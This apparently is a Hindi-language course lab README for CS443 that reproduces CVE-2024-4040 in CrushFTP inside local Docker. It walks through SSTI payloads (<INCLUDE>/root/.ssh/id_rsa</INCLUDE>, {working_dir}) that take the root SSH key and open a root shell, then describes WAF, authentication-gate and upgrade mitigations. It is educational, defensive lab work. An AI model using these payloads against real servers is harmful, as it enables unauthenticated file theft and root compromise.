
CVE-2024-4040 (CrushFTP SSTI -> बिना प्रमाणीकरण के LFI) के लिए प्रूफ-ऑफ-कॉन्सेप्ट, नियंत्रित CS443 लैब वातावरण में - केवल शैक्षिक/अधिकृत उपयोग के लिए।
केवल शैक्षिक और अधिकृत प्रयोगशाला उपयोग के लिए।
CS443 सॉफ़्टवेयर और सिस्टम सुरक्षा — नियंत्रित स्थानीय Docker वातावरण।
| फ़ील्ड | विवरण |
|---|---|
| CVE | CVE-2024-4040 |
| प्रभावित सॉफ़्टवेयर | CrushFTP < 10.7.1 (v10 branch) / < 11.1.0 (v11 branch) |
| भेद्यता प्रकार | सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) → अप्रमाणित लोकल फ़ाइल पढ़ना |
| CVSS स्कोर | 9.8 गंभीर |
| प्रभाव | अप्रमाणित हमलावर सर्वर फ़ाइल सिस्टम से मनमानी फ़ाइलें पढ़ सकते हैं |
CrushFTP का WebInterface zip कमांड के path पैरामीटर में टेम्पलेट एक्सप्रेशन का मूल्यांकन बिना सैनिटाइज़ेशन के करता है। एक अप्रमाणित हमलावर अनाम सत्र कुकीज़ प्राप्त कर सकता है, फिर उन कुकीज़ का उपयोग करके टेम्पलेट पेलोड ({working_dir}, <INCLUDE>…</INCLUDE>) भेज सकता है, जिन्हें सर्वर मूल्यांकित करके लौटाता है — जिससे होस्ट भर में मनमानी फ़ाइल पढ़ना संभव हो जाता है।
pip install requests rich
| स्क्रिप्ट | स्रोत | उद्देश्य |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | पूर्ण SSTI/LFI शोषण — सत्र चोरी, मनमानी फ़ाइल पढ़ना |
recon.py | यह रिपॉज़िटरी | संस्करण पहचान, लाइव SSTI जांच, भेद्यता की पुष्टि |
docker-compose up -d
स्क्रिप्ट चलाने से पहले CrushFTP को पूरी तरह प्रारंभ होने में ~10 सेकंड प्रतीक्षा करें।
यहाँ अलग से recon चरण की आवश्यकता नहीं है क्योंकि crushed.py निष्पादन के दौरान पहले से जाँच करता है कि शोषण संभव है या नहीं।
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
स्क्रिप्ट निम्न कार्य करेगी:
/WebInterface/ से एक अनाम CrushAuth / currentAuth सत्र प्राप्त करें{working_dir} का उपयोग करें<INCLUDE>/root/.ssh/id_rsa</INCLUDE> का उपयोग करेंआउटपुट से निजी कुंजी ब्लॉक कॉपी करें (-----BEGIN OPENSSH PRIVATE KEY----- से -----END OPENSSH PRIVATE KEY----- तक की सब कुछ)।
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# Expected: root
id
# Expected: uid=0(root) gid=0(root) groups=0(root)
hostname
# Expected: <container_id>
Unauthenticated attacker
│
▼
GET /WebInterface/ ← obtains anonymous CrushAuth + currentAuth cookies
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI confirmed — template evaluated by server
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← leaks absolute installation path
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← arbitrary file read
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← full root shell
एक WAF रिवर्स प्रॉक्सी के रूप में कार्य करता है जो CrushFTP तक पहुँचने से पहले आने वाले HTTP/S ट्रैफ़िक का निरीक्षण करता है। NGINX को ModSecurity के साथ उपयोग करके, CVE-2024-4040 का शोषण करने वाले दुर्भावनापूर्ण अनुरोधों को CrushFTP में बदलाव किए बिना नेटवर्क किनारे पर अवरुद्ध कर दिया जाता है।
../, %2e%2e) को अवरुद्ध करता हैMitigation 1/docker-compose.yaml का उपयोग करें:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
Mitigation 1/nginx.conf का उपयोग करें:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# Enable ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# Proxy all traffic to CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Return 403 for blocked requests
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
-> forwards clean -> CrushFTP:8080
CVE-2024-4040 बिना प्रमाणीकरण के शोषण योग्य है। इस प्रयोगशाला में, संवेदनशील रूट्स को CrushFTP पर प्रॉक्सी करने से पहले Authorization हेडर की आवश्यकता के द्वारा NGINX परत पर अनाम-शैली पहुँच अवरुद्ध की जाती है।
crushed.py जैसी शोषण स्क्रिप्ट अप्रमाणित पहुँच पर निर्भर करती हैं; बिना क्रेडेंशियल्स के अनुरोधों को 401 के साथ अस्वीकार कर दिया जाता है/WebInterface/ और / के अनुरोध तब तक अस्वीकार किए जाते हैं जब तक प्रमाणीकरण डेटा मौजूद न होservices:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
events {}
http {
server {
listen 80;
# Allow static assets unauthenticated
location ~* \.(css|js|png|jpg|ico|gif)$ {
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
}
# Block unauthenticated access to WebInterface
location /WebInterface/ {
if ($http_authorization = "") {
return 401 "Authentication Required - Anonymous sessions disabled";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Authorization $http_authorization;
}
# Block everything else unauthenticated
location / {
if ($http_authorization = "") {
return 401 "Authentication Required";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
}
# Confirm unauthenticated request is rejected by NGINX
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Expected: 401 Unauthorized
# Optional: authenticated request should be forwarded
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername
CrushFTP 11 में अपग्रेड करना सबसे प्रभावी और स्थायी समाधान है। यह पैच VFS पथ रिज़ॉल्यूशन पर सख्त इनपुट सत्यापन जोड़ता है, जिससे CVE-2024-4040 का मूल कारण समाप्त हो जाता है।
crushed.py जैसी शोषण स्क्रिप्ट संस्करण 11 के विरुद्ध अब काम नहीं करतींCrushFTP 11 का उपयोग करने के लिए अपने Dockerfile को अपडेट करें:
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt
RUN apt-get update -y && apt-get -y install unzip wget openssh-server
COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip
EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22
WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"
CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d
कंटेनर को पुनः बनाएँ:
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d
# Run the exploit against v11 - should fail
# Note: this repository's script uses -t/--target.
python3 crushed.py -t http://localhost:8080
# Expected: exploit returns no output or connection error
| घटक | मान |
|---|
| लक्ष्य | http://localhost:8080 |
| आधार PoC CrushFTP संस्करण | 10.3.0 (जानबूझकर भेद्य) |
| शमन 3 परीक्षण वातावरण | अलग कंटेनर जो CrushFTP 11.x (पैच की गई शाखा) चला रहा है |
| SSH पोर्ट (कंटेनर) | 2222 → 22 |
| व्यवस्थापक क्रेडेंशियल्स | admin / admin |
| कंटेनर रनटाइम | Docker (Compose) |
| समस्या | स्थान | विवरण |
|---|
| लापता निर्भरता | Line 6–9 | चलाने से पहले pip install rich आवश्यक है |
| नाज़ुक XML पार्सिंग | Lines 86, 140 | गैर-XML सर्वर प्रतिक्रियाओं पर क्रैश होता है; कोई ParseError हैंडलिंग नहीं है |
| टोकन regex बहुत सख्त है | Lines 160–161 | CrushAuth=…; currentAuth=… पैटर्न सभी sessions.obj प्रारूपों से मेल नहीं खा सकता है |
| केवल HTTP 404 | Line 53 | कुकी ग्रैब केवल 404 पर सफल होता है; अन्य स्टेटस कोड पर चुपचाप आगे बढ़ जाता है |